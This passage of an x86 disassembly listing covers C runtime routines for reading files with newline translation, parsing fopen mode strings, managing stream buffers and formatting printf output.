		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2670859h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2670859h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
